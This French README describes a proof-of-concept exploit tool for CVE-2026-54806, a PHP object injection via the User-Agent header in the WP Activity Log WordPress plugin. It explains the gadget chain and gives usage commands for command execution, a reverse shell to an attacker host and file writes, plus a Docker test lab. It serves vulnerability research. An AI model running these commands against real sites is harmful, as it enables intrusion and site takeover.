Exploit de preuve de concept pour CVE-2026-54806 : injection d'objets PHP non authentifiée dans le plugin WP Activity Log permettant une exécution de code à distance aveugle via l'en-tête User-Agent. Inclut la vérification de vulnérabilité, l'exécution de commandes, le shell inversé et l'écriture de fichiers avec un laboratoire Docker autonome.
CVE-2026-54806 est une vulnérabilité critique (CVSS 9.8) d'injection d'objets PHP non authentifiée dans le plugin WordPress WP Activity Log (wp-security-audit-log) de Melapress. Un attaquant non authentifié peut injecter des objets PHP sérialisés via l'en-tête User-Agent sur toute requête qui déclenche un événement enregistré (par exemple, une connexion échouée). La charge utile injectée est stockée dans la base de données et désérialisée sans restrictions lorsqu'un administrateur visite le tableau de bord WordPress, conduisant à une exécution de code à distance aveugle (aucune sortie renvoyée à l'attaquant).
Plugin concerné : WP Activity Log <= 5.6.3.1 (corrigé dans la version 5.6.4)
Requis pour l'exécution de code : WordPress 6.4.0 – 6.4.1 — ce PoC utilise le gadget WP_HTML_Token, la seule chaîne du cœur de WP avec toutes les propriétés publiques qui résiste à sanitize_text_field() et tient dans la limite de 255 caractères de la colonne.
--check--command--shell--write-filegit clone https://github.com/joshuavanderpoll/CVE-2026-54806.git
cd CVE-2026-54806
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-54806.git
cd CVE-2026-54806
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 cve-2026-54806.py -t <cible> --check
python3 cve-2026-54806.py -t <cible> --command <cmd>
python3 cve-2026-54806.py -t <cible> --shell --lhost <ip> --lport <port>
python3 cve-2026-54806.py -t <cible> --write-file <contenu> <chemin>
Laboratoire autonome avec WordPress 6.4.1 et WP Activity Log 5.6.3.1. Consultez DOCKER.md pour les détails.
cd docker
docker compose up -d
python3 cve-2026-54806.py -t http://localhost:8080 --check
Le laboratoire inclut un admin-bot qui visite le tableau de bord toutes les 60 secondes, de sorte que les charges utiles injectées se déclenchent automatiquement – aucune interaction manuelle nécessaire.
Cet outil est fourni uniquement à des fins éducatives et de recherche. Le créateur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.